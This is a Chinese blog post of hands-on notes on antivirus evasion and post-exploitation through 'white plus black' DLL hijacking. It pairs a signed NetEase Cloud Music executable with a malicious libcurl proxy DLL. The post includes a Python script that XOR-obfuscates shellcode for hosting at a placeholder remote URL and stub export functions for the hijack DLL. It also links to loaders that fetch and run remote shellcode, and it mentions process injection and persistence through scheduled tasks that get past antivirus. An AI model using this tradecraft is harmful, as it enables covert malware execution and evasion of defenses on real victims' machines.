最近需要做一些免杀和后渗透的工作,将一些偏向实战性质的笔记发在这里,给博客清清灰。
1.1 什么是DLL
动态链接库 (DLL) 是一个模块,其中包含可由另一个模块 (应用程序或 DLL) 使用的函数和数据。DLL 可以定义两种类型的函数:导出函数和内部函数。导出的函数旨在由其他模块调用,以及从定义它们的 DLL 中调用。
DLL 提供了一种模块化应用程序的方法,以便可以更轻松地更新和重复使用其功能。当多个应用程序同时使用相同的功能时,DLL 还有助于减少内存开销。这也就是DLL的实际应用场景
1.2 加载DLL的两种方式
加载DLL的可以有两种方式动态加载和静态加载,动态加载,下面我们编写一个dll,实现一个
首先在vs中创建动态链接库项目
可以看到有如下目录结构,可以看到有framework.h、pch.h、dllmain.cpp、pch.cpp四个文件:
其中
framework.h 文件用于包含项目中需要使用的头文件,可以看到已经默认包含了windows头文件
pch.h 是预编译标头文件,dll的导出函数应该在此处定义
dllmain.cpp 文件包含程序的入口点,在 dllmain.cpp 中实现的在 pch.h 中定义函数,当然也可以在其他 cpp 文件中实现,如 pch.cpp 等
DLL_PROCESS_ATTACH: // 当DLL被进程加载时执行,每个新进程只初始化一次。
DLL_THREAD_ATTACH: // 当线程被创建时调用
DLL_THREAD_DETACH: // 当线程结束时执行
DLL_PROCESS_DETACH: // 当DLL被进程卸载时执行
1.2.1 动态加载
生成 windows 空项目
然后创建a.cpp文件
1
#
include
<iostream>
2
#
include
<Windows.h>
3
using
namespace
std
;
4
int
main
()
{
5
// 加载 DLL
6
HINSTANCE hDLL = LoadLibrary(
L"DemoDLL.dll"
);
//动态加载dll链接库
7
if
(hDLL ==
NULL
) {
8
std
::
cerr
<<
"Failed to load DLL."
<<
std
::
endl
;
9
return
1
;
10
}
11
// 获取 DLL 中的函数指针
12
typedef
void
(*DllHiJackFunc)
()
;
// 定义Dllfunction函数类
13
DllHiJackFunc dllHiJackFunc = (DllHiJackFunc)GetProcAddress(hDLL,
"DllHiJack"
);
14
if
(dllHiJackFunc ==
NULL
) {
15
std
::
cerr
<<
"Failed to locate function."
<<
std
::
endl
;
16
return
1
;
17
}
18
19
// 调用 DLL 中的函数
20
dllHiJackFunc();
21
22
// 卸载 DLL
23
FreeLibrary(hDLL);
24
}
此时如果删除DemoDll.dll,一般情况下程序会奔溃退出,而不会弹窗
1.2.2 静态加载
将pch.h、demoDLL.lib、DemoDLL.dll复制到当前loadDll的项目根目录文件夹下面
lib 文件中包含一些索引信息,记录了 dll 中函数的入口和位置,lib 用于在开发编译时使用,dll 则在运行时使用。
在开发程序时使用 lib 需要两个文件:
.h 头文件,包含 lib 中说明输出的类或符号原型或数据结构。
.lib 文件。
如果你将导出函数定义在 pch.h 文件中,那么开发时就使用如下代码包含这两个文件,当然不要忘记将这俩个文件复制到 dlltest 项目下:
1
#
include
"pch.h"
2
#
pragma
comment (lib,
"Dll3.lib"
)
这样在开发时就可以直接使用 Dll3.dll 中的导出函数了,不需要使用 LoadLibrary 导入 dll,程序执行后会自动寻找相应的 dll 并导入。
1
#
include
<iostream>
2
3
// 引用dll的函数定义的头文件
4
#
include
"pch.h"
5
6
// 加载dll的lib库文件
7
#
pragma
comment(lib,
"D:\Desktop\cs\20240401白加黑\LoadDll2\DemoDLL.lib"
)
8
9
// 声明 DllHiJack 函数
10
void
DllHiJack
()
;
11
12
int
main
()
{
13
// 调用 DLL 中的函数
14
DllHiJack();
15
16
return
0
;
17
}
此时如果删除DemoDll.dll,运行会报错
1.3 什么是白加黑DLL劫持
大部分程序在运行时,都会调用相应需要的dll链接库,我们可以替换这个dll文件,来执行我们自己的代码,这就是DLL劫持。如果可执行文件带了合法签名,则这个可执行文件是在杀软白名单中的,也就是白文件,我们编写一个恶意dll,搭配这个白文件就能绕过杀软检测,所以白加黑通常也就是白exe+黑dll。
当exe需要调用dll时,会去系统搜索dll的位置,默认情况下搜索的优先级如下:
加载应用程序的文件夹。
系统文件夹。使用 GetSystemDirectory 函数检索此文件夹的路径。
16 位系统文件夹。
Windows 文件夹。使用 GetWindowsDirectory 函数获取此文件夹的路径。
当前文件夹
环境变量中列出的 PATH 目录
上述搜索位置见https://learn.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-search-order
手工查找:可以直接将exe复制到单独的目录,然后点击后查看缺少哪些dll,如果只缺少一个dll,则可以拿来当白文件。
自动化查找,推荐用这个工具就够了,别的也用不着那么多
https://www.bilibili.com/video/BV18N41157KF/?spm_id_from=333.788&vd_source=f1d43e0efc6a3c867b0bda5c485cefb6
https://github.com/HexNy0a/SkyShadow
这里首先找到网易云音乐的cloudmusic_reporter.exe加载了libcurl.exe,且exe有签名,且exe为64位,完美符合我们的需求。
3.1 下面创建一个远程shellcode
1
# 将shellcode的二进制文件与0x88异或,然后以16进制保存在文本中
2
3
def
xor_with_cc
(data)
:
4
return
bytes([byte ^
0x88
for
byte
in
data])
5
6
def
main
()
:
7
# 读取二进制文件
8
with
open(
"payload.bin"
,
"rb"
)
as
f:
9
binary_data = f.read()
10
11
# 将数据与 0xcc 进行异或操作
12
result_data = xor_with_cc(binary_data)
13
14
# 将结果以十六进制格式保存到文本文件中
15
with
open(
"shellcode"
,
"w"
)
as
f:
16
f.write(result_data.hex())
17
18
main()
最终保证http://xxxxx.com/shellcode访问可以得到这个shellcode
3.2 创建一个dll项目,添加导出函数
下面的导出函数是从https://github.com/HexNy0a/SkyShadow工具生成的,直接将其复制到dllmain.cpp中即可
1
extern
"C"
__declspec(dllexport)
int
curl_easy_getinfo
()
{
return
0
; }
2
extern
"C"
__declspec(dllexport)
int
curl_global_cleanup
()
{
return
0
; }
3
extern
"C"
__declspec(dllexport)
int
curl_global_init
()
{
return
0
; }
4
extern
"C"
__declspec(dllexport)
int
curl_easy_perform
()
{
return
0
; }
5
extern
"C"
__declspec(dllexport)
int
curl_slist_append
()
{
return
0
; }
6
extern
"C"
__declspec(dllexport)
int
curl_easy_init
()
{
return
0
; }
7
extern
"C"
__declspec(dllexport)
int
curl_easy_setopt
()
{
return
0
; }
8
extern
"C"
__declspec(dllexport)
int
curl_easy_cleanup
()
{
return
0
; }
3.3 在dllmain中解决死锁问题
直接导入https://github.com/Neo-Maoku/DllMainHijacking/blob/master/DllMainHijacking/dllmain.cpp中的UNLOOK();函数即可
3.4 执行远程的shellcode
这里采用的是远程访问shellcode地址,然后执行shellcode,代码直接看https://github.com/xf555er/Shellcode_SeparationLoad
代码这里就不放了
4.1 dllmain中执行shellcode的两种方式
解决死锁问题,然后在当前进程中执行shellcode
进程注入的方式,比如“通过 CreateProcess 创建一个 rundll32 进程并在其内存中分配内存写入 shellcode,并通过修改其程序计数器 Rip 指向写入的 shellcode 地址,然后恢复线程执行 shellcode。也就是说并没有在 DllMain 中上线而是在其他程序中上线。”
4.2 关于持久化
最好是在白加黑执行过程中同时做好持久化,我喜欢用计划任务,绕过杀软的方式比较多,利用一些小众接口即可,上线后做持久化更容易被查杀
https://www.freebuf.com/articles/system/333690.html
https://cloud.tencent.com/developer/article/2360981
文:SAUCERMAN
链接:https://saucer-man.com/information_security/1171.html
版权声明:著作权归作者所有。如有侵权请联系删除
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论